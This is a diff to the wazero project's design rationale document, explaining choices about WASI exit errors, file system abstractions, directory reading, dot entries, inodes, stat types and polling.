||||
alternate function name. If we did, we'd break existing users despite our
|
||||
compatibility promise saying we don't. The most likely case is that when we
|
||||
build-in something incompatible with "wasip1", that start function will be
|
||||
added to the start functions list in addition to `_start`.
|
||||
|
||||
See http://wasix.org
|
||||
See https://github.com/WebAssembly/wasi-cli
|
||||
|
||||
## Runtime == Engine+Store
|
||||
wazero defines a single user-type which combines the specification concept of `Store` with the unspecified `Engine`
|
||||
@@ -447,26 +484,26 @@ https://github.com/bytecodealliance/wasmtime/blob/v0.29.0/crates/lightbeam/src/m
|
||||
|
||||
## Exit
|
||||
|
||||
### Why do we return a `sys.ExitError` on exit code zero?
|
||||
### Why do we only return a `sys.ExitError` on a non-zero exit code?
|
||||
|
||||
It may be surprising to find an error returned on success (exit code zero).
|
||||
This can be explained easier when you think of function returns: When results
|
||||
aren't empty, then you must return an error. This is trickier to explain when
|
||||
results are empty, such as the case in the "_start" function in WASI.
|
||||
It is reasonable to think an exit error should be returned, even if the code is
|
||||
success (zero). Even on success, the module is no longer functional. For
|
||||
example, function exports would error later. However, wazero does not. The only
|
||||
time `sys.ExitError` is on error (non-zero).
|
||||
|
||||
The main rationale for returning an exit error even if the code is success is
|
||||
that the module is no longer functional. For example, function exports would
|
||||
error later. In cases like these, it is better to handle errors where they
|
||||
occur.
|
||||
This decision was to improve performance and ergonomics for guests that both
|
||||
use WASI (have a `_start` function), and also allow custom exports.
|
||||
Specifically, Rust, TinyGo and normal wasi-libc, don't exit the module during
|
||||
`_start`. If they did, it would invalidate their function exports. This means
|
||||
it is unlikely most compilers will change this behavior.
|
||||
|
||||
Luckily, it is not common to exit a module during the "_start" function. For
|
||||
example, the only known compilation target that does this is Emscripten. Most,
|
||||
such as Rust, TinyGo, or normal wasi-libc, don't. If they did, it would
|
||||
invalidate their function exports. This means it is unlikely most compilers
|
||||
will change this behavior.
|
||||
`GOOS=waspi1` from Go 1.21 does exit during `_start`. However, it doesn't
|
||||
support other exports besides `_start`, and `_start` is not defined to be
|
||||
called multiple times anyway.
|
||||
|
||||
In summary, we return a `sys.ExitError` to the caller whenever we get it, as it
|
||||
properly reflects the state of the module, which would be closed on this error.
|
||||
Since `sys.ExitError` is not always returned, we added `Module.IsClosed` for
|
||||
defensive checks. This helps integrators avoid calling functions which will
|
||||
always fail.
|
||||
|
||||
### Why panic with `sys.ExitError` after a host function exits?
|
||||
|
||||
@@ -531,7 +568,7 @@ In short, wazero defined system configuration in `ModuleConfig`, not a WASI type
|
||||
one spec to another with minimal impact. This has other helpful benefits, as centralized resources are simpler to close
|
||||
coherently (ex via `Module.Close`).
|
||||
|
||||
In reflection, this worked well as more ABI became usable in wazero. For example, `GOARCH=wasm GOOS=js` code uses the
|
||||
In reflection, this worked well as more ABI became usable in wazero. For example, `GOOS=js GOARCH=wasm` code uses the
|
||||
same `ModuleConfig` (and `FSConfig`) WASI uses, and in compatible ways.
|
||||
|
||||
### Background on `ModuleConfig` design
|
||||
@@ -579,6 +616,135 @@ act differently and document `ModuleConfig` is more about emulating, not necessa
|
||||
|
||||
## File systems
|
||||
|
||||
### Motivation on `sys.FS`
|
||||
|
||||
The `sys.FS` abstraction in wazero was created because of limitations in
|
||||
`fs.FS`, and `fs.File` in Go. Compilers targeting `wasip1` may access
|
||||
functionality that writes new files. The ability to overcome this was requested
|
||||
even before wazero was named this, via issue #21 in March 2021.
|
||||
|
||||
A month later, golang/go#45757 was raised by someone else on the same topic. As
|
||||
of July 2023, this has not resolved to a writeable file system abstraction.
|
||||
|
||||
Over the next year more use cases accumulated, consolidated in March 2022 into
|
||||
#390. This closed in January 2023 with a milestone of providing more
|
||||
functionality, limited to users giving a real directory. This didn't yet expose
|
||||
a file abstraction for general purpose use. Internally, this used `os.File`.
|
||||
However, a wasm module instance is a virtual machine. Only supporting `os.File`
|
||||
breaks sand-boxing use cases. Moreover, `os.File` is not an interface. Even
|
||||
though this abstracts functionality, it does allow interception use cases.
|
||||
|
||||
Hence, a few days later in January 2023, we had more issues asking to expose an
|
||||
abstraction, #1013 and later #1532, on use cases like masking access to files.
|
||||
In other words, the use case requests never stopped, and aren't solved by
|
||||
exposing only real files.
|
||||
|
||||
In summary, the primary motivation for exposing a replacement for `fs.FS` and
|
||||
`fs.File` was around repetitive use case requests for years, around
|
||||
interception and the ability to create new files, both virtual and real files.
|
||||
While some use cases are solved with real files, not all are. Regardless, an
|
||||
interface approach is necessary to ensure users can intercept I/O operations.
|
||||
|
||||
### Why doesn't `sys.File` have a `Fd()` method?
|
||||
|
||||
There are many features we could expose. We could make File expose underlying
|
||||
file descriptors in case they are supported, for integration of system calls
|
||||
that accept multiple ones, namely `poll` for multiplexing. This special case is
|
||||
described in a subsequent section.
|
||||
|
||||
As noted above, users have been asking for a file abstraction for over two
|
||||
years, and a common answer was to wait. Making users wait is a problem,
|
||||
especially so long. Good reasons to make people wait are stabilization. Edge
|
||||
case features are not a great reason to hold abstractions from users.
|
||||
|
||||
Another reason is implementation difficulty. Go did not attempt to abstract
|
||||
file descriptors. For example, unlike `fs.ReadFile` there is no `fs.FdFile`
|
||||
interface. Most likely, this is because file descriptors are an implementation
|
||||
detail of common features. Programming languages, including Go, do not require
|
||||
end users to know about file descriptors. Types such as `fs.File` can be used
|
||||
without any knowledge of them. Implementations may or may not have file
|
||||
descriptors. For example, in Go, `os.DirFS` has underlying file descriptors
|
||||
while `embed.FS` does not.
|
||||
|
||||
Despite this, some may want to expose a non-standard interface because
|
||||
`os.File` has `Fd() uintptr` to return a file descriptor. Mainly, this is
|
||||
handy to integrate with `syscall` package functions (on `GOOS` values that
|
||||
declare them). Notice, though that `uintptr` is unsafe and not an abstraction.
|
||||
Close inspection will find some `os.File` types internally use `poll.FD`
|
||||
instead, yet this is not possible to use abstractly because that type is not
|
||||
exposed. For example, `plan9` uses a different type than `poll.FD`. In other
|
||||
words, even in real files, `Fd()` is not wholly portable, despite it being
|
||||
useful on many operating systems with the `syscall` package.
|
||||
|
||||
The reasons above, why Go doesn't abstract `FdFile` interface are a subset of
|
||||
reasons why `sys.File` does not. If we exposed `File.Fd()` we not only would
|
||||
have to declare all the edge cases that Go describes including impact of
|
||||
finalizers, we would have to describe these in terms of virtualized files.
|
||||
Then, we would have to reason with this value vs our existing virtualized
|
||||
`sys.FileTable`, mapping whatever type we return to keys in that table, also
|
||||
in consideration of garbage collection impact. The combination of issues like
|
||||
this could lead down a path of not implementing a file system abstraction at
|
||||
all, and instead a weak key mapped abstraction of the `syscall` package. Once
|
||||
we finished with all the edge cases, we would have lost context of the original
|
||||
reason why we started.. simply to allow file write access!
|
||||
|
||||
When wazero attempts to do more than what the Go programming language team, it
|
||||
has to be carefully evaluated, to:
|
||||
* Be possible to implement at least for `os.File` backed files
|
||||
* Not be confusing or cognitively hard for virtual file systems and normal use.
|
||||
* Affordable: custom code is solely the responsible by the core team, a much
|
||||
smaller group of individuals than who maintain the Go programming language.
|
||||
|
||||
Due to problems well known in Go, consideration of the end users who constantly
|
||||
ask for basic file system functionality, and the difficulty virtualizing file
|
||||
descriptors at multiple levels, we don't expose `Fd()` and likely won't ever
|
||||
expose `Fd()` on `sys.File`.
|
||||
|
||||
### Why does `sys.File` have a `Poll()` method, while `sys.FS` does not?
|
||||
|
||||
wazero exposes `File.Poll` which allows one-at-a-time poll use cases,
|
||||
requested by multiple users. This not only includes abstract tests such as
|
||||
Go 1.21 `GOOS=wasip1`, but real use cases including python and container2wasm
|
||||
repls, as well listen sockets. The main use cases is non-blocking poll on a
|
||||
single file. Being a single file, this has no risk of problems such as
|
||||
head-of-line blocking, even when emulated.
|
||||
|
||||
The main use case of multi-poll are bidirectional network services, something
|
||||
not used in `GOOS=wasip1` standard libraries, but could be in the future.
|
||||
Moving forward without a multi-poller allows wazero to expose its file system
|
||||
abstraction instead of continuing to hold back it back for edge cases. We'll
|
||||
continue discussion below regardless, as rationale was requested.
|
||||
|
||||
You can loop through multiple `sys.File`, using `File.Poll` to see if an event
|
||||
is ready, but there is a head-of-line blocking problem. If a long timeout is
|
||||
used, bad luck could have a file that has nothing to read or write before one
|
||||
that does. This could cause more blocking than necessary, even if you could
|
||||
poll the others just after with a zero timeout. What's worse than this is if
|
||||
unlimited blocking was used (`timeout=-1`). The host implementations could use
|
||||
goroutines to avoid this, but interrupting a "forever" poll is problematic. All
|
||||
of these are reasons to consider a multi-poll API, but do not require exporting
|
||||
`File.Fd()`.
|
||||
|
||||
Should multi-poll becomes critical, `sys.FS` could expose a `Poll` function
|
||||
like below, despite it being the non-portable, complicated if possible to
|
||||
implement on all platforms and virtual file systems.
|
||||
```go
|
||||
ready, errno := fs.Poll([]sys.PollFile{{f1, sys.POLLIN}, {f2, sys.POLLOUT}}, timeoutMillis)
|
||||
```
|
||||
|
||||
A real filesystem could handle this by using an approach like the internal
|
||||
`unix.Poll` function in Go, passing file descriptors on unix platforms, or
|
||||
returning `sys.ENOSYS` for unsupported operating systems. Implementation for
|
||||
virtual files could have a strategy around timeout to avoid the worst case of
|
||||
head-of-line blocking (unlimited timeout).
|
||||
|
||||
Let's remember that when designing abstractions, it is not best to add an
|
||||
interface for everything. Certainly, Go doesn't, as evidenced by them not
|
||||
exposing `poll.FD` in `os.File`! Such a multi-poll could be limited to
|
||||
built-in filesystems in the wazero repository, avoiding complexity of trying to
|
||||
support and test this abstractly. This would still permit multiplexing for CLI
|
||||
users, and also permit single file polling as exists now.
|
||||
|
||||
### Why doesn't wazero implement the working directory?
|
||||
|
||||
An early design of wazero's API included a `WithWorkDirFS` which allowed
|
||||
@@ -664,7 +830,7 @@ WASI is an abstraction over syscalls. For example, the signature of `fs.Open`
|
||||
does not permit use of flags. This creates conflict on what default behaviors
|
||||
to take when Go implemented `os.DirFS`. On the other hand, `path_open` can pass
|
||||
flags, and in fact tests require them to be honored in specific ways. This
|
||||
extends beyond WASI as even `GOARCH=wasm GOOS=js` compiled code requires
|
||||
extends beyond WASI as even `GOOS=js GOARCH=wasm` compiled code requires
|
||||
certain flags passed to `os.OpenFile` which are impossible to pass due to the
|
||||
signature of `fs.FS`.
|
||||
|
||||
@@ -681,7 +847,61 @@ these to be easier to close.
|
||||
See https://github.com/WebAssembly/wasi-testsuite
|
||||
See https://github.com/golang/go/issues/58141
|
||||
|
||||
### fd_pread: io.Seeker fallback when io.ReaderAt is not supported
|
||||
## Why is our `Readdir` function more like Go's `os.File` than POSIX `readdir`?
|
||||
|
||||
At one point we attempted to move from a bulk `Readdir` function to something
|
||||
more like the POSIX `DIR` struct, exposing functions like `telldir`, `seekdir`
|
||||
and `readdir`. However, we chose the design more like `os.File.Readdir`,
|
||||
because it performs and fits wasip1 better.
|
||||
|
||||
### wasip1/wasix
|
||||
|
||||
`fd_readdir` in wasip1 (and so also wasix) is like `getdents` in Linux, not
|
||||
`readdir` in POSIX. `getdents` is more like Go's `os.File.Readdir`.
|
||||
|
||||
We currently have an internal type `sys.DirentCache` which only is used by
|
||||
wasip1 or wasix. When `HostModuleBuilder` adds support for instantiation state,
|
||||
we could move this to the `wasi_snapshot_preview1` package. Meanwhile, all
|
||||
filesystem code is internal anyway, so this special-case is acceptable.
|
||||
|
||||
### wasip2
|
||||
|
||||
`directory-entry-stream` in wasi-filesystem preview2 is defined in component
|
||||
model, not an ABI, but in wasmtime it is a consuming iterator. A consuming
|
||||
iterator is easy to support with anything (like `Readdir(1)`), even if it is
|
||||
inefficient as you can neither bulk read nor skip. The implementation of the
|
||||
preview1 adapter (uses preview2) confirms this. They use a dirent cache similar
|
||||
in some ways to our `sysfs.DirentCache`. As there is no seek concept in
|
||||
preview2, they interpret the cookie as numeric and read on repeat entries when
|
||||
a cache wasn't available. Note: we currently do not skip-read like this as it
|
||||
risks buffering large directories, and no user has requested entries before the
|
||||
cache, yet.
|
||||
|
||||
Regardless, wasip2 is not complete until the end of 2023. We can defer design
|
||||
discussion until after it is stable and after the reference impl wasmtime
|
||||
implements it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-filesystem/blob/ef9fc87c07323a6827632edeb6a7388b31266c8e/example-world.md#directory_entry_stream
|
||||
* https://github.com/bytecodealliance/wasmtime/blob/b741f7c79d72492d17ab8a29c8ffe4687715938e/crates/wasi/src/preview2/preview2/filesystem.rs#L286-L296
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L2131-L2137
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L936
|
||||
|
||||
### wasip3
|
||||
|
||||
`directory-entry-stream` is documented to change significantly in wasip3 moving
|
||||
from synchronous to synchronous streams. This is dramatically different than
|
||||
POSIX `readdir` which is synchronous.
|
||||
|
||||
Regardless, wasip3 is not complete until after wasip2, which means 2024 or
|
||||
later. We can defer design discussion until after it is stable and after the
|
||||
reference impl wasmtime implements it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/WASI/blob/ddfe3d1dda5d1473f37ecebc552ae20ce5fd319a/docs/WitInWasi.md#Streams
|
||||
* https://docs.google.com/presentation/d/1MNVOZ8hdofO3tI0szg_i-Yoy0N2QPU2C--LzVuoGSlE/edit#slide=id.g1270ef7d5b6_0_662
|
||||
|
||||
### How do we implement `Pread` with an `fs.File`?
|
||||
|
||||
`ReadAt` is the Go equivalent to `pread`: it does not affect, and is not
|
||||
affected by, the underlying file offset. Unfortunately, `io.ReaderAt` is not
|
||||
@@ -729,7 +949,7 @@ third `path_len` has ambiguous semantics.
|
||||
`path` offset for the exact length of `path_len`.
|
||||
|
||||
Wasmer considers `path_len` to be the maximum length instead of the exact
|
||||
length that should be written.
|
||||
length that should be written.
|
||||
See https://github.com/wasmerio/wasmer/blob/3463c51268ed551933392a4063bd4f8e7498b0f6/lib/wasi/src/syscalls/mod.rs#L764
|
||||
|
||||
The semantics in wazero follows that of wasmtime.
|
||||
@@ -738,11 +958,84 @@ See https://github.com/bytecodealliance/wasmtime/blob/2ca01ae9478f199337cf743a6a
|
||||
Their semantics match when `path_len` == the length of `path`, so in practice
|
||||
this difference won't matter match.
|
||||
|
||||
## Why does fd_readdir not include dot (".") and dot-dot ("..") entries?
|
||||
## fd_readdir
|
||||
|
||||
When reading a directory, wazero code does not return dot (".") and dot-dot
|
||||
("..") entries. The main reason is that Go does not return them from
|
||||
`os.ReadDir`, and materializing them is complicated (at least dot-dot is).
|
||||
### Why does "wasi_snapshot_preview1" require dot entries when POSIX does not?
|
||||
|
||||
In October 2019, WASI project knew requiring dot entries ("." and "..") was not
|
||||
documented in preview1, not required by POSIX and problematic to synthesize.
|
||||
For example, Windows runtimes backed by `FindNextFileW` could not return these.
|
||||
A year later, the tag representing WASI preview 1 (`snapshot-01`) was made.
|
||||
This did not include the requested change of making dot entries optional.
|
||||
|
||||
The `phases/snapshot/docs.md` document was altered in subsequent years in
|
||||
significant ways, often in lock-step with wasmtime or wasi-libc. In January
|
||||
2022, `sock_accept` was added to `phases/snapshot/docs.md`, a document later
|
||||
renamed to later renamed to `legacy/preview1/docs.md`.
|
||||
|
||||
As a result, the ABI and behavior remained unstable: The `snapshot-01` tag was
|
||||
not an effective basis of portability. A test suite was requested well before
|
||||
this tag, in April 2019. Meanwhile, compliance had no meaning. Developers had
|
||||
to track changes to the latest doc, while clarifying with wasi-libc or wasmtime
|
||||
behavior. This lack of stability could have permitted a fix to the dot entries
|
||||
problem, just as it permitted changes desired by other users.
|
||||
|
||||
In November 2022, the wasi-testsuite project began and started solidifying
|
||||
expectations. This quickly led to changes in runtimes and the spec doc. WASI
|
||||
began importing tests from wasmtime as required behaviors for all runtimes.
|
||||
Some changes implied changes to wasi-libc. For example, `readdir` began to
|
||||
imply inode fan-outs, which caused performance regressions. Most notably a
|
||||
test merged in January required dot entries. Tests were merged without running
|
||||
against any runtime, and even when run ad-hoc only against Linux. Hence,
|
||||
portability issues mentioned over three years earlier did not trigger any
|
||||
failure until wazero (which tests Windows) noticed.
|
||||
|
||||
In the same month, wazero requested to revert this change primarily because
|
||||
Go does not return them from `os.ReadDir`, and materializing them is
|
||||
complicated due to tests also requiring inodes. Moreover, they are discarded by
|
||||
not just Go, but other common programming languages. This was rejected by the
|
||||
WASI lead for preview1, but considered for the completely different ABI named
|
||||
preview2.
|
||||
|
||||
In February 2023, the WASI chair declared that new rule requiring preview1 to
|
||||
return dot entries "was decided by the subgroup as a whole", citing meeting
|
||||
notes. According to these notes, the WASI lead stated incorrectly that POSIX
|
||||
conformance required returning dot entries, something it explicitly says are
|
||||
optional. In other words, he said filtering them out would make Preview1
|
||||
non-conforming, and asked if anyone objects to this. The co-chair was noted to
|
||||
say "Because there are existing P1 programs, we shouldn’t make changes like
|
||||
this." No other were recorded to say anything.
|
||||
|
||||
In summary, preview1 was changed retrospectively to require dot entries and
|
||||
preview2 was changed to require their absence. This rule was reverse engineered
|
||||
from wasmtime tests, and affirmed on two false premises:
|
||||
|
||||
* POSIX compliance requires dot entries
|
||||
* POSIX literally says these are optional
|
||||
* WASI cannot make changes because there are existing P1 programs.
|
||||
* Changes to Preview 1 happened before and after this topic.
|
||||
|
||||
As of June 2023, wasi-testsuite still only runs on Linux, so compliance of this
|
||||
rule on Windows is left to runtimes to decide to validate. The preview2 adapter
|
||||
uses fake cookies zero and one to refer to dot dirents, uses a real inode for
|
||||
the dot(".") entry and zero inode for dot-dot("..").
|
||||
|
||||
See https://github.com/WebAssembly/wasi-filesystem/issues/3
|
||||
See https://github.com/WebAssembly/WASI/tree/snapshot-01
|
||||
See https://github.com/WebAssembly/WASI/issues/9
|
||||
See https://github.com/WebAssembly/WASI/pull/458
|
||||
See https://github.com/WebAssembly/wasi-testsuite/pull/32
|
||||
See https://github.com/WebAssembly/wasi-libc/pull/345
|
||||
See https://github.com/WebAssembly/wasi-testsuite/issues/52
|
||||
See https://github.com/WebAssembly/WASI/pull/516
|
||||
See https://github.com/WebAssembly/meetings/blob/main/wasi/2023/WASI-02-09.md#should-preview1-fd_readdir-filter-out--and-
|
||||
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
|
||||
|
||||
### Why are dot (".") and dot-dot ("..") entries problematic?
|
||||
|
||||
When reading a directory, dot (".") and dot-dot ("..") entries are problematic.
|
||||
For example, Go does not return them from `os.ReadDir`, and materializing them
|
||||
is complicated (at least dot-dot is).
|
||||
|
||||
A directory entry has stat information in it. The stat information includes
|
||||
inode which is used for comparing file equivalence. In the simple case of dot,
|
||||
@@ -758,7 +1051,19 @@ well, such as the decision to not return ".." from a root path. In any case,
|
||||
this should start to explain that faking entries when underlying stdlib doesn't
|
||||
return them is tricky and requires quite a lot of state.
|
||||
|
||||
Even if we did that, it would cause expense to all users of wazero, so we'd
|
||||
Another issue is around the `Dirent.Off` value of a directory entry, sometimes
|
||||
called a "cookie" in Linux man pagers. When the host operating system or
|
||||
library function does not return dot entries, to support functions such as
|
||||
`seekdir`, you still need a value for `Dirent.Off`. Naively, you can synthesize
|
||||
these by choosing sequential offsets zero and one. However, POSIX strictly says
|
||||
offsets should be treated opaquely. The backing filesystem could use these to
|
||||
represent real entries. For example, a directory with one entry could use zero
|
||||
as the `Dirent.Off` value. If you also used zero for the "." dirent, there
|
||||
would be a clash. This means if you synthesize `Dirent.Off` for any entry, you
|
||||
need to synthesize this value for all entries. In practice, the simplest way is
|
||||
using an incrementing number, such as done in the WASI preview2 adapter.
|
||||
|
||||
Working around these issues causes expense to all users of wazero, so we'd
|
||||
then look to see if that would be justified or not. However, the most common
|
||||
compilers involved in end user questions, as of early 2023 are TinyGo, Rust and
|
||||
Zig. All of these compile code which ignores dot and dot-dot entries. In other
|
||||
@@ -773,12 +1078,100 @@ which summarizes to "these are optional"
|
||||
|
||||
> The readdir() function shall not return directory entries containing empty names. If entries for dot or dot-dot exist, one entry shall be returned for dot and one entry shall be returned for dot-dot; otherwise, they shall not be returned.
|
||||
|
||||
In summary, wazero not only doesn't return dot and dot-dot entries because Go
|
||||
doesn't and emulating them in spite of that would result in no difference
|
||||
except hire overhead to the majority of our users.
|
||||
Unfortunately, as described above, the WASI project decided in early 2023 to
|
||||
require dot entries in both the spec and the wasi-testsuite. For only this
|
||||
reason, wazero adds overhead to synthesize dot entries despite it being
|
||||
unnecessary for most users.
|
||||
|
||||
See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
|
||||
See https://github.com/golang/go/blob/go1.20/src/os/dir_unix.go#L108-L110
|
||||
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
|
||||
|
||||
### Why don't we pre-populate an inode for the dot-dot ("..") entry?
|
||||
|
||||
We only populate an inode for dot (".") because wasi-testsuite requires it, and
|
||||
we likely already have it (because we cache it). We could attempt to populate
|
||||
one for dot-dot (".."), but chose not to.
|
||||
|
||||
Firstly, wasi-testsuite does not require the inode of dot-dot, possibly because
|
||||
the wasip2 adapter doesn't populate it (but we don't really know why).
|
||||
|
||||
The only other reason to populate it would be to avoid wasi-libc's stat fanout
|
||||
when it is missing. However, wasi-libc explicitly doesn't fan-out to lstat on
|
||||
the ".." entry on a zero ino.
|
||||
|
||||
Fetching dot-dot's inode despite the above not only doesn't help wasi-libc, but
|
||||
it also hurts languages that don't use it, such as Go. These languages would
|
||||
pay a stat syscall penalty even if they don't need the inode. In fact, Go
|
||||
discards both dot entries!
|
||||
|
||||
In summary, there are no significant upsides in attempting to pre-fetch
|
||||
dot-dot's inode, and there are downsides to doing it anyway.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
|
||||
* https://github.com/WebAssembly/wasi-testsuite/blob/main/tests/rust/src/bin/fd_readdir.rs#L108
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1037
|
||||
|
||||
### Why don't we require inodes to be non-zero?
|
||||
|
||||
We don't require a non-zero value for `Dirent.Ino` because doing so can prevent
|
||||
a real one from resolving later via `Stat_t.Ino`.
|
||||
|
||||
We define `Ino` like `d_ino` in POSIX which doesn't special-case zero. It can
|
||||
be zero for a few reasons:
|
||||
|
||||
* The file is not a regular file or directory.
|
||||
* The underlying filesystem does not support inodes. e.g. embed:fs
|
||||
* A directory doesn't include inodes, but a later stat can. e.g. Windows
|
||||
* The backend is based on wasi-filesystem (a.k.a wasip2), which has
|
||||
`directory_entry.inode` optional, and might remove it entirely.
|
||||
|
||||
There are other downsides to returning a zero inode in widely used compilers:
|
||||
|
||||
* File equivalence utilities, like `os.SameFile` will not work.
|
||||
* wasi-libc's `wasip1` mode will call `lstat` and attempt to retrieve a
|
||||
non-zero value (unless the entry is named "..").
|
||||
|
||||
A new compiler may accidentally skip a `Dirent` with a zero `Ino` if emulating
|
||||
a non-POSIX function and re-using `Dirent.Ino` for `d_fileno`.
|
||||
|
||||
* Linux `getdents` doesn't define `d_fileno` must be non-zero
|
||||
* BSD `getdirentries` is implementation specific. For example, OpenBSD will
|
||||
return dirents with a zero `d_fileno`, but Darwin will skip them.
|
||||
|
||||
The above shouldn't be a problem, even in the case of BSD, because `wasip1` is
|
||||
defined more in terms of `getdents` than `getdirentries`. The bottom half of
|
||||
either should treat `wasip1` (or any similar ABI such as wasix or wasip2) as a
|
||||
different operating system and either use different logic that doesn't skip, or
|
||||
synthesize a fake non-zero `d_fileno` when `d_ino` is zero.
|
||||
|
||||
However, this has been a problem. Go's `syscall.ParseDirent` utility is shared
|
||||
for all `GOOS=unix`. For simplicity, this abstracts `direntIno` with data from
|
||||
`d_fileno` or `d_ino`, and drops if either are zero, even if `d_fileno` is the
|
||||
only field with zero explicitly defined. This led to a change to special case
|
||||
`GOOS=wasip1` as otherwise virtual files would be unconditionally skipped.
|
||||
|
||||
In practice, this problem is rather unique due to so many compilers relying on
|
||||
wasi-libc, which tolerates a zero inode. For example, while issues were
|
||||
reported about the performance regression when wasi-libc began doing a fan-out
|
||||
on zero `Dirent.Ino`, no issues were reported about dirents being dropped as a
|
||||
result.
|
||||
|
||||
In summary, rather than complicating implementation and forcing non-zero inodes
|
||||
for a rare case, we permit zero. We instead document this topic thoroughly, so
|
||||
that emerging compilers can re-use the research and reference it on conflict.
|
||||
We also document that `Ino` should be non-zero, so that users implementing that
|
||||
field will attempt to get it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-filesystem/pull/81
|
||||
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
|
||||
* https://linux.die.net/man/3/getdents
|
||||
* https://www.unix.com/man-page/osx/2/getdirentries/
|
||||
* https://man.openbsd.org/OpenBSD-5.4/getdirentries.2
|
||||
* https://github.com/golang/go/blob/go1.20/src/syscall/dirent.go#L60-L102
|
||||
* https://go-review.googlesource.com/c/go/+/507915
|
||||
|
||||
## sys.Walltime and Nanotime
|
||||
|
||||
@@ -907,6 +1300,68 @@ See https://github.com/WebAssembly/stack-switching/discussions/38
|
||||
See https://github.com/WebAssembly/wasi-threads#what-can-be-skipped
|
||||
See https://slinkydeveloper.com/Kubernetes-controllers-A-New-Hope/
|
||||
|
||||
## sys.Stat_t
|
||||
|
||||
We expose `stat` information as `sys.Stat_t`, like `syscall.Stat_t` except
|
||||
defined without build constraints. For example, you can use `sys.Stat_t` on
|
||||
`GOOS=windows` which doesn't define `syscall.Stat_t`.
|
||||
|
||||
The first use case of this is to return inodes from `fs.FileInfo` without
|
||||
relying on platform-specifics. For example, a user could return `*sys.Stat_t`
|
||||
from `info.Sys()` and define a non-zero inode for a virtual file, or map a
|
||||
real inode to a virtual one.
|
||||
|
||||
Notable choices per field are listed below, where `sys.Stat_t` is unlike
|
||||
`syscall.Stat_t` on `GOOS=linux`, or needs clarification. One common issue
|
||||
not repeated below is that numeric fields are 64-bit when at least one platform
|
||||
defines it that large. Also, zero values are equivalent to nil or absent.
|
||||
|
||||
* `Dev` and `Ino` (`Inode`) are both defined unsigned as they are defined
|
||||
opaque, and most `syscall.Stat_t` also defined them unsigned. There are
|
||||
separate sections in this document discussing the impact of zero in `Ino`.
|
||||
* `Mode` is defined as a `fs.FileMode` even though that is not defined in POSIX
|
||||
and will not map to all possible values. This is because the current use is
|
||||
WASI, which doesn't define any types or features not already supported. By
|
||||
using `fs.FileMode`, we can re-use routine experience in Go.
|
||||
* `NLink` is unsigned because it is defined that way in `syscall.Stat_t`: there
|
||||
can never be less than zero links to a file. We suggest defaulting to 1 in
|
||||
conversions when information is not knowable because at least that many links
|
||||
exist.
|
||||
* `Size` is signed because it is defined that way in `syscall.Stat_t`: while
|
||||
regular files and directories will always be non-negative, irregular files
|
||||
are possibly negative or not defined. Notably sparse files are known to
|
||||
return negative values.
|
||||
* `Atim`, `Mtim` and `Ctim` are signed because they are defined that way in
|
||||
`syscall.Stat_t`: Negative values are time before 1970. The resolution is
|
||||
nanosecond because that's the maximum resolution currently supported in Go.
|
||||
|
||||
### Why do we use `sys.EpochNanos` instead of `time.Time` or similar?
|
||||
|
||||
To simplify documentation, we defined a type alias `sys.EpochNanos` for int64.
|
||||
`time.Time` is a data structure, and we could have used this for
|
||||
`syscall.Stat_t` time values. The most important reason we do not is conversion
|
||||
penalty deriving time from common types.
|
||||
|
||||
The most common ABI used in `wasip2`. This, and compatible ABI such as `wasix`,
|
||||
encode timestamps in memory as a 64-bit number. If we used `time.Time`, we
|
||||
would have to convert an underlying type like `syscall.Timespec` to `time.Time`
|
||||
only to later have to call `.UnixNano()` to convert it back to a 64-bit number.
|
||||
|
||||
In the future, the component model module "wasi-filesystem" may represent stat
|
||||
timestamps with a type shared with "wasi-clocks", abstractly structured similar
|
||||
to `time.Time`. However, component model intentionally does not define an ABI.
|
||||
It is likely that the canonical ABI for timestamp will be in two parts, but it
|
||||
is not required for it to be intermediately represented this way. A utility
|
||||
like `syscall.NsecToTimespec` could split an int64 so that it could be written
|
||||
to memory as 96 bytes (int64, int32), without allocating a struct.
|
||||
|
||||
Finally, some may confuse epoch nanoseconds with 32-bit epoch seconds. While
|
||||
32-bit epoch seconds has "The year 2038" problem, epoch nanoseconds has
|
||||
"The Year 2262" problem, which is even less concerning for this library. If
|
||||
the Go programming language and wazero exist in the 2200's, we can make a major
|
||||
version increment to adjust the `sys.EpochNanos` approach. Meanwhile, we have
|
||||
faster code.
|
||||
|
||||
## poll_oneoff
|
||||
|
||||
`poll_oneoff` is a WASI API for waiting for I/O events on multiple handles.
|
||||
@@ -944,19 +1399,18 @@ as for regular file descriptors: data is assumed to be present and
|
||||
a success is written back to the result buffer.
|
||||
|
||||
However, if the reader is detected to read from `os.Stdin`,
|
||||
a special code path is followed, invoking `platform.Select()`.
|
||||
a special code path is followed, invoking `sysfs.poll()`.
|
||||
|
||||
`platform.Select()` is a wrapper for `select(2)` on POSIX systems,
|
||||
and it is mocked for a handful of cases also on Windows.
|
||||
`sysfs.poll()` is a wrapper for `poll(2)` on POSIX systems,
|
||||
and it is emulated on Windows.
|
||||
|
||||
### Select on POSIX
|
||||
### Poll on POSIX
|
||||
|
||||
On POSIX systems,`select(2)` allows to wait for incoming data on a file
|
||||
On POSIX systems, `poll(2)` allows to wait for incoming data on a file
|
||||
descriptor, and block until either data becomes available or the timeout
|
||||
